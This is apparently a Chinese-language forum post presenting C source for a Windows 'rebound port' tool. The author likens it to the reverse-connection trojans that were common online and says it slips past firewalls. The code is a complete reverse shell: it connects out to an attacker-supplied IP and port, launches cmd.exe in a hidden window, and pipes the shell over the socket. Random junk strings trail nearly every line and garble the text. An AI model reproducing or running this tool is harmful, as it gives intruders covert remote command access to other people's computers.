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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !y{t}|U/d  
^bj aa  
/* ============================== '`K-rvF,C  
Rebound port in Windows NT apxY2oE&  
By wind,2006/7 P}kp_l27  
===============================*/ ?B!=DC@?H  
#include A&:i$`m,  
#include 7kZ-`V|\.  
s^n}m#T  
#pragma comment(lib,"wsock32.lib") ]$VYzE2e  
uuA q\YZy/  
void OutputShell(); ?t JyQT  
SOCKET sClient; 2W_p)8t> b  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }9qbF+b  
\~:Uj~  
void main(int argc,char **argv) Vif0z*\e{  
{ 0Ek + }`  
WSADATA stWsaData; /s\_"p  
int nRet; 2unaK<1s  
SOCKADDR_IN stSaiClient,stSaiServer; MzY~-74aF  
.-Xp]>f,  
if(argc != 3) 'K9{xI@N  
{ ZM~kc|&  
printf("Useage:\n\rRebound DestIP DestPort\n"); PU6Sa-fQ2,  
return; APC,p,"  
} UY!N"[&  
5:o$]LkOWC  
WSAStartup(MAKEWORD(2,2),&stWsaData); *61+Fzr  
q*^F"D:?k  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4%3R}-'mh  
[9:'v@Ph  
stSaiClient.sin_family = AF_INET; JF vVRGWB  
stSaiClient.sin_port = htons(0); Q--VZqn  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #00k7y>OyD  
hpqM fz1  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) NX?IM8\t  
{ $\DOy&e  
printf("Bind Socket Failed!\n"); dHtbl\6  
return; ygvX}q  
} l^@!,Z  
Eep*,Cnt0  
stSaiServer.sin_family = AF_INET; eoC@b/F4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #ZPU.NNT?  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pnvHh0ck_  
)<kI d4E  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;-OnCLr  
{ hSO(s  
printf("Connect Error!"); 0 tZ>yR  
return; \GR M,c  
} a*pwVn  
OutputShell(); g@va@*|~d  
} 0!:1o61  
[`_ZlC  
void OutputShell() JMUk=p<\  
{ B4<W%lm  
char szBuff[1024]; '>}dqp{Wr  
SECURITY_ATTRIBUTES stSecurityAttributes; T.fmEl  
OSVERSIONINFO stOsversionInfo; FuiEy=+  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Nf#8V|  
STARTUPINFO stStartupInfo; RcASFBNpS  
char *szShell; D};zPf@!p  
PROCESS_INFORMATION stProcessInformation; 7^fpbrj  
unsigned long lBytesRead; C{i9~80n  
gm-I)z!tz  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b&y"[1`  
DRBRs-D  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +0,{gDd+  
stSecurityAttributes.lpSecurityDescriptor = 0; C;T:'Uws  
stSecurityAttributes.bInheritHandle = TRUE; =*AAXNs@3  
># q2KXh  
`+4>NT6cu9  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,<^7~d{{3m  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Q}a,+*N.  
@wy&Z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -7^A_!.  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :%!}%fkxH  
stStartupInfo.wShowWindow = SW_HIDE; wX0m8" g@  
stStartupInfo.hStdInput = hReadPipe; 5&y;r  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \,w*K'B_Y  
zH1pW(  
GetVersionEx(&stOsversionInfo); Koi  
aX oD{zA  
switch(stOsversionInfo.dwPlatformId) tA?cHDp4E  
{ D['z/r6F  
case 1: S G&VZY  
szShell = "command.com"; yU-^w^4  
break; eYER "E  
default: 'E4`qq  
szShell = "cmd.exe"; ^ lUV^%f  
break; d,Fj|}S  
} !T((d7;  
4>uy+"8PO  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xm)s%"6n  
1N `1~y  
send(sClient,szMsg,77,0); +@'{  
while(1) 2\$P&L a  
{  t8 "*j t  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )YDuq(g&  
if(lBytesRead) dF d^@b  
{ OX"^a$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vZgV/?'z  
send(sClient,szBuff,lBytesRead,0); _^)Wrf+  
} *Cdw"n  
else 6I$laHx?  
{ LP{{PT.&X  
lBytesRead=recv(sClient,szBuff,1024,0); 0Cox+QJt  
if(lBytesRead<=0) break; K+0&~XU  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _f~(g1sE  
} U{IY F{;@  
} 2k }:)]m  
^4+ew>BLSv  
return; `5[$8;  
}
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